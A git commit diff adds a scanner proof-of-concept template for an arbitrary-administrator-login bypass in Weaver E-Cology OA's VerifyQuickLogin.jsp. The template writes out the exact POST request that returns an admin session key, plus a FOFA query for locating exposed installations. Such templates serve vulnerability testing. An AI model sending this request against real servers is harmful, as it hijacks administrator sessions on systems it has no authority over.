feat: expand internal network poc coverage

2026-09-26 21:21:53 +08:00 · 2026-07-16 02:04:36 +08:00
parent 621b2c2f24
commit 3ef7a1beee
59 changed files with 1658 additions and 12 deletions
@@ -0,0 +1,21 @@
+id: ecology-verifyquicklogin-login-bypass
+
+info:
+  name: 泛微OA E-Cology VerifyQuickLogin.jsp 任意管理员登录漏洞
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    泛微OA E-Cology VerifyQuickLogin.jsp文件中存在任意管理员登录漏洞，攻击着通过发送特殊的请求包可以获取管理员Session
+    fofa: app="泛微-协同办公OA"
+  tags: weaver,ecology,bypass
+  created: 2023/06/23
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /mobile/plugin/VerifyQuickLogin.jsp
+      body: identifier=1&language=1&ipaddress=x.x.x.x
+    expression: response.status == 200 && response.body.bcontains(b'"sessionkey":') && response.body.bcontains(b'"message":')
+expression: r0()